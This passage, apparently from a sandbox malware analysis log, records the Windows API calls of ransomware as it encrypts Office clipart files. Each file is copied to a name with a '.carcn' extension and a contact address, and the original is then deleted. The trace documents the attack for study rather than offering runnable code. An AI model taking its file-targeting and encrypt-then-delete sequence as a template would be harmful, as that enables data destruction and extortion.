lpString2=".WMF") returned -1 [0270.511] lstrlenW (lpString=".docx") returned 5 [0270.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.511] lstrlenW (lpString=".pdf") returned 4 [0270.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.512] lstrlenW (lpString=".xls") returned 4 [0270.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.512] lstrlenW (lpString=".xlsx") returned 5 [0270.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.512] lstrlenW (lpString=".ppt") returned 4 [0270.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.512] lstrlenW (lpString=".zip") returned 4 [0270.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.512] lstrlenW (lpString=".rar") returned 4 [0270.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.512] lstrlenW (lpString=".bz2") returned 4 [0270.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.512] lstrlenW (lpString=".7z") returned 3 [0270.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.512] lstrlenW (lpString=".dbf") returned 4 [0270.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.512] lstrlenW (lpString=".1cd") returned 4 [0270.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.512] lstrlenW (lpString=".jpg") returned 4 [0270.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.513] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.513] lstrlenW (lpString="BS01638_.WMF") returned 12 [0270.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.515] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10538) returned 1 [0270.515] CloseHandle (hObject=0x530) returned 1 [0270.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0270.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.516] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.516] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.517] GetLastError () returned 0x0 [0270.517] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x292a, lpOverlapped=0x0) returned 1 [0270.553] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2930, lpOverlapped=0x0) returned 1 [0270.555] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.555] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.555] SetEndOfFile (hFile=0x370) returned 1 [0270.555] CloseHandle (hObject=0x370) returned 1 [0270.555] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.555] SetEndOfFile (hFile=0x530) returned 1 [0270.558] CloseHandle (hObject=0x530) returned 1 [0270.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0270.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.559] lstrlenW (lpString=".doc") returned 4 [0270.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.559] lstrlenW (lpString=".docx") returned 5 [0270.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.560] lstrlenW (lpString=".pdf") returned 4 [0270.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString=".xls") returned 4 [0270.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.560] lstrlenW (lpString=".xlsx") returned 5 [0270.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.560] lstrlenW (lpString=".ppt") returned 4 [0270.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.560] lstrlenW (lpString=".zip") returned 4 [0270.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.560] lstrlenW (lpString=".rar") returned 4 [0270.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString=".bz2") returned 4 [0270.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString=".7z") returned 3 [0270.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.560] lstrlenW (lpString=".dbf") returned 4 [0270.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.560] lstrlenW (lpString=".1cd") returned 4 [0270.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.560] lstrlenW (lpString=".jpg") returned 4 [0270.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.561] lstrlenW (lpString=".doc") returned 4 [0270.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString=".docx") returned 5 [0270.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.561] lstrlenW (lpString=".pdf") returned 4 [0270.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString=".xls") returned 4 [0270.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.561] lstrlenW (lpString=".xlsx") returned 5 [0270.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.561] lstrlenW (lpString=".ppt") returned 4 [0270.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.561] lstrlenW (lpString=".zip") returned 4 [0270.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.561] lstrlenW (lpString=".rar") returned 4 [0270.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString=".bz2") returned 4 [0270.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString=".7z") returned 3 [0270.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.561] lstrlenW (lpString=".dbf") returned 4 [0270.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.561] lstrlenW (lpString=".1cd") returned 4 [0270.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0270.561] lstrlenW (lpString=".jpg") returned 4 [0270.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.562] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.562] lstrlenW (lpString="BS01639_.WMF") returned 12 [0270.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.563] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4236) returned 1 [0270.563] CloseHandle (hObject=0x530) returned 1 [0270.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0270.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.563] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.563] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.564] GetLastError () returned 0x0 [0270.564] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x108c, lpOverlapped=0x0) returned 1 [0270.568] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1090, lpOverlapped=0x0) returned 1 [0270.570] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.570] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.570] SetEndOfFile (hFile=0x370) returned 1 [0270.570] CloseHandle (hObject=0x370) returned 1 [0270.570] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.570] SetEndOfFile (hFile=0x530) returned 1 [0270.772] CloseHandle (hObject=0x530) returned 1 [0271.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0271.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.025] lstrlenW (lpString=".doc") returned 4 [0271.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.026] lstrlenW (lpString=".docx") returned 5 [0271.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.026] lstrlenW (lpString=".pdf") returned 4 [0271.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.026] lstrlenW (lpString=".xls") returned 4 [0271.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.026] lstrlenW (lpString=".xlsx") returned 5 [0271.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.026] lstrlenW (lpString=".ppt") returned 4 [0271.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.026] lstrlenW (lpString=".zip") returned 4 [0271.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.026] lstrlenW (lpString=".rar") returned 4 [0271.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.026] lstrlenW (lpString=".bz2") returned 4 [0271.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.026] lstrlenW (lpString=".7z") returned 3 [0271.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.026] lstrlenW (lpString=".dbf") returned 4 [0271.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.026] lstrlenW (lpString=".1cd") returned 4 [0271.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.027] lstrlenW (lpString=".jpg") returned 4 [0271.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.027] lstrlenW (lpString=".doc") returned 4 [0271.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.027] lstrlenW (lpString=".docx") returned 5 [0271.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.027] lstrlenW (lpString=".pdf") returned 4 [0271.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.027] lstrlenW (lpString=".xls") returned 4 [0271.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.027] lstrlenW (lpString=".xlsx") returned 5 [0271.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.027] lstrlenW (lpString=".ppt") returned 4 [0271.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.027] lstrlenW (lpString=".zip") returned 4 [0271.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.027] lstrlenW (lpString=".rar") returned 4 [0271.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.027] lstrlenW (lpString=".bz2") returned 4 [0271.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.028] lstrlenW (lpString=".7z") returned 3 [0271.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.028] lstrlenW (lpString=".dbf") returned 4 [0271.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.028] lstrlenW (lpString=".1cd") returned 4 [0271.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0271.028] lstrlenW (lpString=".jpg") returned 4 [0271.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.028] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.028] lstrlenW (lpString="CRANINST.WMF") returned 12 [0271.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0271.029] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=49546) returned 1 [0271.029] CloseHandle (hObject=0x49c) returned 1 [0271.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0271.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0271.030] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.030] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0271.031] GetLastError () returned 0x0 [0271.031] ReadFile (in: hFile=0x49c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xc18a, lpOverlapped=0x0) returned 1 [0271.034] WriteFile (in: hFile=0x530, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xc190, lpOverlapped=0x0) returned 1 [0271.036] ReadFile (in: hFile=0x49c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.036] WriteFile (in: hFile=0x530, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0271.036] SetEndOfFile (hFile=0x530) returned 1 [0271.036] CloseHandle (hObject=0x530) returned 1 [0271.037] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.037] SetEndOfFile (hFile=0x49c) returned 1 [0271.041] CloseHandle (hObject=0x49c) returned 1 [0271.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0271.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.042] lstrlenW (lpString=".doc") returned 4 [0271.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.042] lstrlenW (lpString=".docx") returned 5 [0271.042] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0271.042] lstrlenW (lpString=".pdf") returned 4 [0271.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.042] lstrlenW (lpString=".xls") returned 4 [0271.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.043] lstrlenW (lpString=".xlsx") returned 5 [0271.043] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0271.043] lstrlenW (lpString=".ppt") returned 4 [0271.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.043] lstrlenW (lpString=".zip") returned 4 [0271.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.043] lstrlenW (lpString=".rar") returned 4 [0271.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.043] lstrlenW (lpString=".bz2") returned 4 [0271.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.043] lstrlenW (lpString=".7z") returned 3 [0271.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.043] lstrlenW (lpString=".dbf") returned 4 [0271.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.043] lstrlenW (lpString=".1cd") returned 4 [0271.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.043] lstrlenW (lpString=".jpg") returned 4 [0271.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0271.044] lstrlenW (lpString=".doc") returned 4 [0271.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.044] lstrlenW (lpString=".docx") returned 5 [0271.044] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0271.044] lstrlenW (lpString=".pdf") returned 4 [0271.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.044] lstrlenW (lpString=".xls") returned 4 [0271.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.044] lstrlenW (lpString=".xlsx") returned 5 [0271.044] 